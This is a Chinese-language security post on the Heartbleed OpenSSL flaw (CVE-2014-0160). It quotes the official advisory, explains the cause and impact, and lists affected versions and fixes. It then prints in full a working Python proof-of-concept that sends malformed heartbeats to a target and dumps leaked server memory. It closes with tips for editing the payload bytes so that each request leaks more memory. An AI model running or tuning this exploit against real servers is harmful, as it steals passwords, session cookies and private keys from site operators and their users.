OpenSSL Security Advisory [07 Apr 2014]
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TLS heartbeat read overrun (CVE-2014-0160)
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A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley <agl@chromium.org> and Bodo Moeller <bmoeller@acm.org> for preparing the fix.
Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
1.0.2 will be fixed in 1.0.2-beta2.
在 heartbleed 的官网上有关于 CVE-2014-0160 漏洞的详细信息,这是关于 OpenSSL 的信息泄漏漏洞导致的安全问题。改 Heartbleed bug 可以让互联网的任何人读取系统保护内存,这种妥协密钥用于识别服务提供者和加密流量,用户名和密码的和实际的内容。该漏洞允许攻击者窃听通讯,并通过模拟服务提供者和用户来直接从服务提供者盗取数据。
此漏洞为本年度互联网上最严重的安全漏洞,影响至少两亿中国网民。需要在https开头网址登录的网站,初步评估有不少于30%的网站中招,其中包括大家最常用的购物、网银、社交、门户等知名网站。”
石晓虹介绍说,目前国内使用https的网站都是跟支付和敏感用户数据相关的。据他了解,今天下午,大量网站已开始紧急修复此OpenSSL高危漏洞,但是修复此漏洞普遍需要半个小时到一个小时时间,大型网站修复时间会更长一些。
石晓虹提醒广大互联网服务商,尽快将OpenSSL升级至1.0.1g进行修复。同时建议广大网友,在此漏洞得到修复前,暂时不要在受到漏洞影响的网站上登录账号。
OpenSSL是为网络通信提供安全及数据完整性的一种安全协议,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,目前正在各大网银、在线支付、电商网站、门户网站、电子邮件等重要网站上广泛使用。
OpenSSL“心脏出血”漏洞利用方式
利用该漏洞,黑客坐在自己家里电脑前,就可以实时获取到约30%的https开头网址的用户登录账号和密码、cookie等敏感数据,影响网银、知名购物网站等。
漏洞成因
OpenSSL Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。
存在该漏洞的版本
OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable
修复建议
使用低版本SSL的网站,并尽快按如下方案修复该漏洞:
升级OpenSSL 1.0.1g
使用-DOPENSSL_NO_HEARTBEATS参数重新编译低版本的OpenSSL以禁用Heartbleed模块
修补方式:OpenSSL "heartbleed" 的安全漏洞
OpenSSL “heartbleed” 漏洞利用程序脚本 POC:
openssl.py / ssltest.py,用法:openssl.py ip/域名 -p 端口
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
下载地址:
openssl.py.rar,ssltest.py.rar,(提示:其实这俩文件内容完全一样,只是换行符制式不一样。)
提示:
poc作者留了一手,每次只dump 16kb 内存。
那个python poc里面的:
hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') 改成 hb = h2bin(''' 18 03 02 00 03 01 ff ff ''')
for b in xrange(0, len(s), 16): 改成 for b in xrange(0, len(s), 64):
相关内容:
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